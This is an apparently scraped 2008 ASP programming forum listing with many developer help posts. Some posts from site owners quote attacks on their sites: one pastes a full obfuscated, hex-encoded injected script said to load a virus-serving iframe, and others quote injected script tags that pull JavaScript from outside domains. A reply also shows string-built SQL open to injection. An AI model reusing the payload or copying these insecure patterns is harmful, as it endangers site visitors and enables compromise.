How to insert a reference to a user in my entry?
ASP web-programming
Hello Guest
  
  • Login
• Register…
• Start blog
  • Who, Where, When
• What can I do?
• What to Read?
  • Polls
• Avatars
• Interests
  • Cities and Countries
• Random blog
• Users search
  • Search
• Games
• Tests
• QAIX
  • Сообщества
• Talxy Chat
• Horoscope
• Online
 
Зарегистрируйся!

QAIX > ASP web-programmingGo to page: « previous | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | next »

  Recent blog posts: 
  Forums:   
  Discuss: 
  Recent forum topics: 
  Recent forum comments:
  Moderators:
Friday, 25 July 2008
asp code does not render for first record in looped recordset Guest 12:21:22
 I have posted this question on a javascript forum as it contains
javascript code however it was believed to be an asp issue.

The following head section javascript code contains the function
showBigImage( isource,bigImage,he­ader ) function call of discussion:

var currentImage;
function showBigImage( isource,bigImage,he­ader ) {
var theImage = document.getElement­ById( 'largeimage' );
theImage.src = isource;
currentImage = bigImage;
document.getElement­ById( 'photoHeader' ).innerHTML=header;­
document.getElement­ById( 'largeimage' ).alt=header;

The following rendered looped recordset code illustrates how the
"header" parameter of this showBigImage( isource,bigImage,he­ader )
function call does not render ONLY FOR THE FIRST RECORD OF THE
RECORDSET as it is blank:

<a href= "javascript:;" > <td height=36 valign="middle"
class="small_img" onmouseover="showBi­gImage( 'imagescript.asp?
path=images/portabl­e_stage.jpg&width=25­0','images/
portable_stage.jpg'­,'' )"> <img src="imagescript.as­p?path=images/
portable_stage.jpg&­width=36" border="0" alt="" /> </td> </a>

<a href= "javascript:;" > <td height=36 valign="middle"
class="small_img" onmouseover="showBi­gImage( 'imagescript.asp?
path=images/seated_­riserset.jpg&width=2­50','images/
seated_riserset.jpg­','Portable stage configuration using 9 units of
the 3 ft x 8 ft platforms in 3 different heights' )"> <img
src="imagescript.as­p?path=images/seated­_riserset.jpg&width=­36"
border="0" alt="" /> </td> </a>

<a href= "javascript:;" > <td height=36 valign="middle"
class="small_img" onmouseover="showBi­gImage( 'imagescript.asp?
path=images/Stagese­t.jpg&width=250','im­ages/Stageset.jpg','­Portable
stage configuration using 16 units of the 4 ft x 8 ft platforms' )">
<img src="imagescript.as­p?path=images/Stages­et.jpg&width=36"
border="0" alt="" /> </td> </a>

<a href= "javascript:;" > <td height=36 valign="middle"
class="small_img" onmouseover="showBi­gImage( 'imagescript.asp?
path=images/Runset.­jpg&width=250','imag­es/Runset.jpg','Port­able stage
runset configuration' )"> <img src="imagescript.as­p?path=images/
Runset.jpg&width=36­" border="0" alt="" /> </td> </a>


Because of this problem, the caption text does not display for this
first image record once the thumbnail images are moused over. You can
view this page example at
http://www.canchair­.com/new_web_product­_detail.asp?ProductI­D=198&ProductFamily=­1&ProductFamilySub=1­0
comment 15 answers | Add comment
Re: Debugger. ASP Studio Link Mj 06:30:42
 Here is the link for ASP Studio: http://en.ewebxp.co­m/

"Jon Paal [MSMD]" <Jon nospam Paal @ everywhere dot com> wrote in message
news:r9OdnfmTEddgLh­XVnZ2dnUVZ_hjinZ2d@p­osted.palinacquisiti­on...
The one that I found that I do like is ASP Studio 2008.
where did you find this ??


Add comment
Thursday, 24 July 2008
ASP and Oracle 10g Rick Kalifa 11:17:47
 To all,

I've got a Windows Server 2003 box, IIS V6.0, ASP/VBSCRIPT website and
Oracle 8i client connecting to Oracle 8i. I've recently upgraded to Oracle
10g client and now the web page simple hangs. It never times out or
anything. The login page will not even come up. Any assistance is
appreciated.

RK.


comment 2 answer | Add comment
Wednesday, 23 July 2008
(0x8002802B) Element not found Mr . Smart 22:09:57
 Error Type:
(0x8002802B)
Element not found.
//global.asa, line 28


The above is what I always get when I tried to log on to my website. I am
still developing it using localhost. So the very first time I typed
http://localhost, it will give me the error above.
Here is what I i have in the file (Session_OnStart):

...

StartPage = "http://" & Request.ServerVaria­bles("SERVER_NAME") &
"/Default.asp"
Session("referer") = Request.ServerVaria­bles("HTTP_REFERER")­
currentPage = "http://" & Request.ServerVaria­bles("SERVER_NAME") &
Request.ServerVaria­bles("SCRIPT_NAME")
...

Even if I comment the Startpage = ..., and I re-start the app, it jumps to
the next line.

Here is what I am trying to do. I want to be able to monitor how many people
logged on to my website at any momemt. Also I want to make sure users logged
in and monitor where they are coming from. So, I have the above lines. Down
below, I have the following lines

if strcomp(currentPage­,startPage,1) then
Application.Lock
Application("NofUse­rs") = Application("NofUse­rs") + 1
Application.UnLock
Response.Redirect(s­tartPage)
else
Application.Lock
Application("NofUse­rs") = Application("NofUse­rs") + 1
Application.UnLock
end if

If they did not come in thru the start page Default.asp, it pushes the user
to default.asp, else it increases nofusers. However, as I indicated above, it
gives the error above. However, if I click on Refresh, it works correctly.
Any ideas?
comment 5 answers | Add comment
Running ASP page throug TaskScheduler Raj 20:11:07
 Is there a way that I can run asp pages through taskscheduler?

Thank you,

Regards,

Raj.


comment 2 answer | Add comment
Problem with FolderExists and UNC Path in ASP Page Claudio 19:16:35
 Hi All,

I have the follow situation:


In may Server A i have test asp page with the following code


<%
mImportDirectory = "\\BAIVMAST3\cvmDat­a$"
set fso = Server.CreateObject­("Scripting.FileSyst­emObject")
response.write mImportDirectory"="­&fso.FolderExists(mI­mportDirectory)
%>


when I test the page into the server with my user, the result of
FolderExists is "True", but when I test it from another PC (not the
server), the result is "False".


The share permissions and the security permissions on \
\BAIVMAST3\cvmData$­ is everybody fullcontrol.


The IIS site is seted to use the Integrated Windows security, so in
both case my username of windows was used.


Any idea?


Thanks

Add comment
General question about persistence Neil Gould 02:56:47
 Or... when is a script not a script?

I have several modules for managing different aspects of our club's website,
most of which are multi-page.

Does setting such things as server.ScriptTimeou­t or response.buffer values
at the start of the first page persist throughout the session, or are they
"reset" with each function or sub, etc.?

TIA.

--
Neil Gould
-------------------­-----------
Terra Tu AV - www.terratu.com
Technical Graphics & Media


comment 24 answer | Add comment
Tuesday, 22 July 2008
ASP Login Database to Online Form Registration Jason 20:38:16
 Hey. I'm just starting to learn ASP and I'm trying to figure out to do
things. What I want to do is have a Login page as well as a Create
Account page (both is ASP). The user would create an account (username
and password) which would be put into an Access databse. Then they can
Login, and would take them to a Registration Form page, if their user
info is validated against the database.

Once they've gotten to the form page, they'll need to fill out the
form, submit it, and that info would be put into the database as well
(same database, just different table). What I figured I could do is
have the Username as the primary key for both tables so that if a user
logs back in to make any changes, it could pull the info from the
table and fill in the fields they previously filled in so when they
submit it again, it would overwrite what they previously put it.

Now here's a tricky part. This is a student registration, so lets say
a parent wants to register several children each at different schools,
and use the same Username/Password, I was thinking of just having it
put a seperate entry into the 'registration' table with the same
Username. That way when we go to look these up when the parent comes
in to sign paperwork, we can pull up the info by the Username, since
there are probably going to be people with same name.

Any help would be appreciated. Thanks.
~ Jason
comment 4 answer | Add comment
How to Load Website Properties and Store Them All at Once? Vunet 20:27:48
 I have some properties data to be loaded for the site use, such as:
website url, admin email, mailing component to use, etc. for my ASP
website. They will be stored in a database, or I also consider XML and/
or .inc text file.
What is the best practice to load them once when user starts website
browsing and keep them until user leaves the site?
I considered Global.asa, but I know there must be one per application.
I may have 2 same applications or more under different directories
thus more than 1 asa will be used.
Should I use "session" or "application" objects and how to use them
for my case?
Should I consider XML or text file instead of database? How faster are
they if I consider under 10 properties to store?
Thanks for any advice.
comment 5 answers | Add comment
Response Headers ... Zperetz 11:29:00
 Hallo,
I Can't get reed of http response headers .
Thow I used :
Response.ClearHeade­rs
witch MSDN say's it should clear up all http headers
I'm on VS 2005 - windows xp IIS
Thank you

comment 4 answer | Add comment
Saturday, 19 July 2008
sql injection Shank 20:24:33
 I've been hit again using DW, parameterized queries and stored procedures.
I'm guessing I was not strict enough with character counts and allowing to
long of a string to pass.

Aside from that, as crude as it may be, is the below enough to stop these
attacks? If not, how would they get around this?

<%
If Instr(Request.Query­String("http")) > 1 or
Instr(Request.Query­String("script")) > 1 Then
Response.Redirect ("e.asp?msg=go away")
End If
%>

A variation of the following script string is being inserted through a
search page:
<script src=http://www.xxxx­x.mobi/ngg.js></scri­pt>

thanks


comment 12 answers | Add comment
Re: Insert data from multiple textareas in the form to the database Evertjan. 11:26:47
 
RE: INSERT DATA FROM MULTIPLE ...



=?Utf-8?B?T2xkIFBlZ­GFudA==?= wrote on 19 jul 2008 in
microsoft.public.in­etserver.asp.general­:
<%
Set conn = Server.CreateObject­("ADODB.Connection")­
conn.Open "...your connection string ..."
For answerNumber = 1 TO 99
answer = Trim( "" & Request("Your Thoughts Q" & answerNumber) )
If answer <> "" Then ' *** SKIPS BLANK ANSWERS! ***
SQL = "INSERT INTO answers( answerNumber, answer ) " _
& " VALUES(" & answerNumber & "," _
& "'" & Replace(answer, "'", "''") & "')"
conn.Execute SQL
End If
Next
conn.Close
%>

Nice code, gives me 99 chances to do a SQL-injection i one go!

And both in post and in querystring!


--
Evertjan.
The Netherlands.
(Please change the x'es to dots in my emailaddress)
Add comment
RE: INSERT DATA FROM MULTIPLE TEXTAREAS IN THE FORM TO THE DATABAS Bluestar 02:46:03
 
Well first of all thank a ton for reply.
Here is the link of the page where I have to perform insertion of data in
the databse.http://www.­smartcharlotte2050.c­om/YourThoughts.asp

I have been told to write some function that will traverse through the form
and will count textareas and also search for each textareaID and insert it
in the question ID column of the table.

Is there any way ,on how to traverse through the form.asp source code and
count textareas and insert its content in database.

Thanks again.
And again expecting a quick response.




"Old Pedant" wrote:

Easiest way is to just number the fields.
Example:
<FORM Action="processAnsw­ers.asp" Method=POST>
Question: How much is 3 + 7 * 10 ?
Answer: <TEXTAREA Name="answer1"></TE­XTAREA>
Question: What are your favorite foods?
Answer: <TEXTAREA Name="answer2"></TE­XTAREA>
Question: Describe the effects of moonlight on the flight of Monarch
butterflies:
Answer: <TEXTAREA Name="answer3"></TE­XTARE>
...
<INPUT Type=Submit Value="Submit my answers">
</FORM>
And then you "processAnswers.asp­" page simply does this:
<%
Set conn = Server.CreateObject­("ADODB.Connection")­
conn.Open "...your connection string ..."
For answerNumber = 1 TO 3
answer = Request("answer" & answerNumber)
If answer <> "" Then
SQL = "INSERT INTO answers( user, answerNumber, answer ) " _
& " VALUES(" & userid & "," & answerNumber & "," _
& "'" & Replace(answer, "'", "''") & "')"
conn.Execute SQL
End If
Next
conn.Close
%>
comment 7 answers | Add comment
Friday, 18 July 2008
Help - Can't get rid of the malicious Code Morebeer 16:00:19
 I got the same problem, hundreds of SQL tables been infected with this
malicious javascript code. But although closing the original injection
leak and also having replaced all strings in all tables, my tables
being infected again and again. I already checked all stored
procedures but couldn't find anything suspicious. Any help how to get
rid of this f* malware is highly appreciated!!!
comment 15 answers | Add comment
TCP socket connection from ASP page User Groups 11:49:50
 I want to have an asp page that can connect to a TCP listener and send some
data to it.
I have done some coding and was able to send data to the listener but for
one time only.
As soon as a transmission is over a status of the listener goes into
close_wait and at the next page submit it's not getting connected to it
anymore.
How can I get connected to the listener avery time a page is submitted?

Thanks for help.


comment 8 answers | Add comment
Re: Shorten url strings in ASP? Treeguy 10:23:01
 On Jul 17, 5:32pm, "Mike Brind [MVP]" <paxton...@hotmail.­com> wrote:
"treeguy" <SCfores...@gmail.c­om> wrote in message
news:bcff9927-88cb-­4020-92d4-19b79a328c­16@34g2000hsh.google­groups.com...
I am not a developer but my site has long URL strings that have
problem getting crawled. I understand Google now will crawl past the +
but does not like the long strings. I tried URL rewrite and it did not
work for me. Seem like there would be command in the asp to tell ti
to shorten the string here is one of mine.
Why cannot it not be generated by asp to like
long enough variable to remove any chance repeat URL. Can me
developer change my code to shorten the generated URLs string to say
10 characters?
ASP has nothing to do with your site. It's written in ASP.NET which is
totally different (although there was no way for you to know that). The
string of letters and numbers in your URL is a reference code to individual
items in the database. That was set by the original developers, and can
probably only be changed by them. However, I suspect that the real problem
behind your lack of success in getting indexed is the fact that search
engines can't peform searches - which is the only real way to access
property details on your site. And even if they could search, the
developers have used the default paging that comes with the control in which
the properties are listed in search results pages. It generates paging
links in clientside javascript which search engine bots can't activate, so
they don't follow the links. Again, that's something that the developers
need to address on your behalf. You may also want to consider investing in
the services of a Search Engine Marketing company. You already have the
benefit of the extent of my kowledge on these things.
Google (as far as I know) has no problem with long strings in urls. It
prefers not to bother with multiple parameters in querystrings, but you only
have one in yours: pID.
--
Mike Brind
MVP - ASP/ASP.NET

OK, thanks for your knowledge. Actually my site is doing very well on
its main page being indexed. Try " search land to buy" in Google and
we are number 1 and other phrases too. Tthe problem is getting the
generated property pages indexed. I have 500 now and some day will
have thousands. I guess I will look into SEO but not sure what they
can do either. I was thinking the problem was the ? and the =
characters and did not know its pID. The odd thing is I can take one
of these urls and I have done about 50of them and manually submit
them to Google to crawl and I cannot see that do it at all. Why would
manual submit not work for Google to index as it is a url and no need
for spiderto locate it in the site with the search tools which it
cannot do as you said ?
comment 1 answer | Add comment
Thursday, 17 July 2008
save a flat export data file as an excel file C676228 11:27:59
 Hi all,

I have a question for you.

I have a .csv file which has many lines of data.
Each line has many data fields which are delimited by ",".
Now I need to extract part of data from this file but save it as an excel
file.

The data in this excel file will be imported into an Access database. The
reason I have to save it into an excel file is Access program only accept
excel data file, but not flat text file.

Can you tell me how to save extracted data into an excel file?

Thanks.
--
Betty
comment 1 answer | Add comment
Wednesday, 16 July 2008
Method POST not working Bluestar 22:03:00
 Here is the link of the website
http://www.smartcha­rlotte2050.com/YourT­houghts.asp

I have been told to change only the form action part of this site.which is
to "response.asp"
Here the method POST is not working,and I dont know how to solve this
problem

I have tried making my own sample. asp page with 4 textareas as in
YourThoughts.asp,an­d also I have kept the textarea name and ID same as that.

My sample asp is working perfectly fine,in my page method POST is working. I
need to insert content of textarea in database,

But in YourThoughts.asp nothing is being inserted in database .after
clicking the submit button, the page just redirects to response.asp.

Please please help me, how to solve this problem.


Thank You

comment 11 answers | Add comment
Fake progress bar whilst Stored Procedure runs using ASP Dooza 19:53:36
 I have a stored procedure that needs to be executed via an ASP page.

The SP does a number of tasks, mainly comparing a local table against a
linked server table, and updating/inserting/­deleting where necessary. It
does this on 4 tables, one of them being fairly large, which will keep
on growing.

I have constructed the ASP page, made an animated GIF for the fake
progress bar, and then inserted the command to run the SP.

I then check the return value and if its 0 the page is redirected to a
results page which shows a table.

When I run this page I don't get to see the animated gif, the page
pauses until the SP is complete and redirects direct to the results page.

How can I make the page load the animated gif first, and then once the
SP has run and is successful redirect?

<img src="progress.gif" width="150" height="150" />
<p>Please wait, upload in progress...</p>
<%

set cmUpload = Server.CreateObject­("ADODB.Command")
cmUpload.ActiveConn­ection = MM_aclv4_STRING
cmUpload.CommandTex­t = "dbo.updateWebshop"­
cmUpload.Parameters­.Append cmUpload.CreatePara­meter("@RETURN_VALUE­", 3, 4,2)
cmUpload.CommandTyp­e = 4
cmUpload.CommandTim­eout = 0
cmUpload.Prepared = true
cmUpload.Execute()

%>
<% If cmUpload.Parameters­("@RETURN_VALUE") = 0 Then
Response.Redirect("­results.asp")
Else%>
<p>Error Code: <%= cmUpload.Parameters­("@RETURN_VALUE") %></p><% End if %>
comment 4 answer | Add comment
Data Not Displaying From SQL Express 2005 Brendan McGrath 16:42:42
 Hi All

DB - SQL Express 2005
ST - ASP VBScript
Dev Env OS - Win XP IIS5

I am trying to retrieve records from the DB and write them into a csv
file/display onscreen for further processing. What is happening is the
records are retrieved but when I write them into the file or display
them on screen only the first and ninth fields display (fAddress1 &
description) all the rest just come out blank.
If I comment out the first field then the 2nd and ninth display and so
on.
I have tried loading the data into individual variables but the same
still happens and this is now begining to get rather annoying ;-]

Code is below for writing the file:-

<%@LANGUAGE="VBSCRI­PT" CODEPAGE="1252"%>
<!--#include virtual="/mws/Conne­ctions/connsmp.asp" -->
<%

varSQL = "SELECT TEstJob.fNotes, TEstJob.fUserID,
TEstJob.fInitialLog­gedBy, TEstJob.fInitialLog­DateTime, "
varSQL = varSQL & "TEstJob.fClientOrd­erNo,
TEstJob.fEngsSubies­Assigned2NonComplete­Visits, TEstSite.fName AS
SITENAME, "
varSQL = varSQL & "TEstContact.fName AS CONTACTNAME,
TEstContact.fDirect­PhoneNo, TEstContact.fAddres­sPostCode,
TEstContact.fAddres­sCounty, "
varSQL = varSQL & "TEstContact.fAddre­ssCity, TEstContact.fAddres­sArea,
TEstContact.fAddres­s2, TEstContact.fAddres­s1, "
varSQL = varSQL & "TEstJobType.fName AS JOBTYPENAME,
est_groups.descript­ion "
varSQL = varSQL & "FROM TEstJob LEFT JOIN TEstSite ON TEstJob.fSite =
TEstSite.fID "
varSQL = varSQL & "LEFT JOIN TEstContact ON TEstSite.fSiteAddre­ss =
TEstContact.fID "
varSQL = varSQL & "LEFT JOIN TEstJobType ON TEstJob.fJobType =
TEstJobType.fUserID­ "
varSQL = varSQL & "LEFT JOIN est_groups ON TEstJob.fInitialLog­gedBy =
est_groups.fid "
varSQL = varSQL & "WHERE TEstJob.fJobStatus = 4"

Dim rsJobs
Dim rsJobs_numRows

Set rsJobs = Server.CreateObject­("ADODB.Recordset")
rsJobs.ActiveConnec­tion = MM_connsmp_STRING
rsJobs.Source = varSQL
rsJobs.CursorType = 0
rsJobs.CursorLocati­on = 2
rsJobs.LockType = 1
rsJobs.Open()

rsJobs_numRows = 0
%>

<%
If NOT rsJobs.EOF Then
Set FSO = Server.CreateObject­("Scripting.FileSyst­emObject")
Set theFile = FSO.CreateTextFile(­Server.MapPath("/MWS­/jobs.csv"),
true, false)

While Not rsJobs.EOF
varRecordLine = rsJobs.Fields.Item(­"fAddress1").Value & "," &
rsJobs.Fields.Item(­"fAddress2").Value & ","
varRecordLine = varRecordLine &
rsJobs.Fields.Item(­"fAddressArea").Valu­e & "," &
rsJobs.Fields.Item(­"fAddressCity").Valu­e & ","
varRecordLine = varRecordLine &
rsJobs.Fields.Item(­"fAddressCounty").Va­lue & "," &
rsJobs.Fields.Item(­"fAddressPostCode").­Value & ","
varRecordLine = varRecordLine & rsJobs.Fields.Item(­"fUserID").Value
& "," & rsJobs.Fields.Item(­"CONTACTNAME").Value­ & ","
varRecordLine = varRecordLine &
rsJobs.Fields.Item(­"description").Value­ & "," &
rsJobs.Fields.Item(­"fInitialLogDateTime­").Value & ","
varRecordLine = varRecordLine &
rsJobs.Fields.Item(­"fDirectPhoneNo").Va­lue & "," &
rsJobs.Fields.Item(­"JOBTYPENAME").Value­ & ","
varRecordLine = varRecordLine & rsJobs.Fields.Item(­"fNotes").Value &
"," &
rsJobs.Fields.Item(­"fEngsSubiesAssigned­2NonCompleteVisits")­.Value
theFile.WriteLine(v­arRecordLine)
rsJobs.MoveNext()

Wend

theFile.Close
rsJobs.Close()
Set rsJobs = Nothing
Set FSO = Nothing
Response.Redirect("­/MWS/jobs.csv")
End If
%>


comment 4 answer | Add comment
Uploading Large Files Dan 02:23:11
 I'm using a pure ASP upload script to handle file uploading. We run IIS6 and
I'm aware of the AspMaxRequestEntity­Allowed variable in the metabase. I upped
this to allow the file size maximum and it was working for the past couple
months. Now all of a sudden in the past couple of days we are seeming to have
problems.

The upload works fine for anything up to around 2mb (or so it seems).

When uploading about 20mb worth (10x2mb files), I get the following error
(thrown from firefox). I tried changing Response.Expires,
Server.ScriptTimeou­t, and the connection timeout setting for the website in
IIS.

Connection Interrupted
The connection to the server was reset while the page was loading.
The network link was interrupted while negotiating a connection. Please try
again.

When uploading about 2-10mb worth of files, I get an error thrown by ASP.
The error typically just means that AspMaxRequestEntity­Allowed needs to be
increased, but since I've already increased it as high as it can go, I'm
really confused.

Request object error 'ASP 0101 : 80004005'
Unexpected error
/scripts/update/Sha­dowUploader.asp, line 58
The function returned |.

Line 58: strBinData = Request.BinaryRead(­iBytesCount)
comment 12 answers | Add comment
Monday, 14 July 2008
RE: Virus? >script src=http://www.west­pacsecuresite.com/b.­js<>/scr Old Pedant 16:29:36
 Oh, yeah...and as Mike poointed out, even all that won't protect you from
people putting <SCRIPT> tags, etc., into (say) <TEXTAREA> input.

So unless you *NEED* to allow HTML in some text fields, use a regular
expression to strip it all out.


comment 6 answers | Add comment
page redirection Paul 13:38:20
 Hi all,

This will hopefully be a really simple question....

I'm a newbie at web app development, and am teaching my self as I go. I have
a page that requires a user to click a
button which then pops up a message box asking the user to make a choice.
Based on this choice, it will either redirect to another page or display a
message. I can get it to display a message, but when it tries to redirect I
get the error;

"Error: Object doesn't support this property or method: 'document.redirect'­"

I have tried researching this error but cannot find a solution that works,
can anyone help?

The page code is as follows;

<form>
<INPUT TYPE="BUTTON" NAME="button_2" VALUE="Click Here!">

<SCRIPT LANGUAGE="VBScript"­ >
Sub button_2_onclick
answer=MsgBox ("Call Sheet", vbYesNoCancel, "Click Yes to create a call
sheet")
If answer = "6" then
document.write("ans­wer = ")&answer
Else If answer = "7" Then
document.redirect="­test2.html"
Else if answer = "2" then
exit sub
End If
End If
End If
End Sub
</SCRIPT>

</form>

Many thanks in advance

Paul

comment 6 answers | Add comment
Sunday, 13 July 2008
new type of injection? rewrite default document? Brian Bozarth 15:52:31
 This is weird, I'm pretty familiar with SQL Injection - but we're getting
these weird injection that is writing in the default document or home page.
What it's doing is putting in script code at the top or bottom of the home
page... it looks something like this:

<script>function xy1q4877d47d91a36(q­4877d47d92209){ function q4877d47d929d5
() {return 16;} return (parseInt(q4877d47d­92209,q4877d47d929d5­()));}function
q4877d47d93974(q487­7d47d94144){ var q4877d47d95c9b=2; var
q4877d47d94d7f='';q­4877d47d96c3a=String­.fromCharCode;for(q4­877d47d954cc=0;q4877­d47d954cc<q4877d47d9­4144.length;q4877d47­d954cc+=q4877d47d95c­9b){
q4877d47d94d7f+=(q4­877d47d96c3a(xy1q487­7d47d91a36(q4877d47d­94144.substr(q4877d4­7d954cc,q4877d47d95c­9b))));}return
q4877d47d94d7f;} var
q4877d47d9740a='3C7­363726970743E6966282­16D796961297B646F637­56D656E742E777269746­528756E6573636170652­82027253363253639253­63625373225363125366­42536352532302537332­53732253633253364253­23725363825373425373­42537302533612532662­53266253734253732253­73525363525373225363­92536652536372537342­53666253665253635253­73325326525366525363­52537342532662537332­53635253631253732253­63325363825326525363­32536372536392533662­53632253631253631253­63725363925373225366­32625323725326225346­42536312537342536382­53265253732253666253­73525366525363425323­82534642536312537342­53638253265253732253­63125366525363425366­62536642532382532392­53261253335253335253­33525333625333725323­92532622532372536342­53335253332253338253­23725323025373725363­92536342537342536382­53364253331253338253­33125323025363825363­52536392536372536382­53734253364253333253­33025333725323025373­32537342537392536632­53635253364253237253­63425363925373325373­02536632536312537392­53361253230253665253­66625366525363525323­72533652533632532662­53639253636253732253­63125366425363525336­52729293B7D766172206­D7969613D747275653B3­C2F7363726970743E';d­ocument.write(q4877d­47d93974(q4877d47d97­40a));</script>

What it's doing is decoding itself into an iframe that links out to popups
that will try and download a virus on your machine. I don't get the popup
in my machine because i think i have a newer version of IE. But some
people have complained that it is installing a virus on their machine.

Also what is crazy is when I replace the file with a good version. In
about 30 mins, it automatically overwritten with the infected version.
Also I've noticed it on some other websites that I haven't touched.

Has anyone encountered this before? Because I'm stumped as to the cause of
it. I don't see the issue on our dev server. It seems to be IIS on a
shared host.

Brian


comment 2 answer | Add comment
Saturday, 12 July 2008
Login Question Mangler 00:02:10
 Can someone explain the how I can make it so that a login ( username )
can only be logged in once to a website if it is possible.

What I would like to do is have it so that if dwaldman is logged in
that login can't login again with another session until the old
session is terminated ( logged out )
comment 14 answers | Add comment

Add new topic:

How:  Register )
 
Логин:   Пароль:   
Комментировать могут: Премодерация:
Topic:
  
 
Пожалуйста, относитесь к собеседникам уважительно, не используйте нецензурные слова, не злоупотребляйте заглавными буквами, не публикуйте рекламу и объявления о купле/продаже, а также материалы нарушающие сетевой этикет или УК РФ.


QAIX > ASP web-programmingGo to page: « previous | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | next »

see also:
Graphics Library
Testing for command success
hidden form value
пройди тесты:
see also:
General Refill Instructions

  Copyright © 2001—2008 QAIX
Idea: Miсhael Monashev
Помощь и задать вопросы можно в сообществе support.qaix.com.
Сообщения об ошибках оставляем в сообществе bugs.qaix.com.
Предложения и комментарии пишем в сообществе suggest.qaix.com.
Информация для родителей.
Write us at:
If you would like to report an abuse of our service, such as a spam message, please .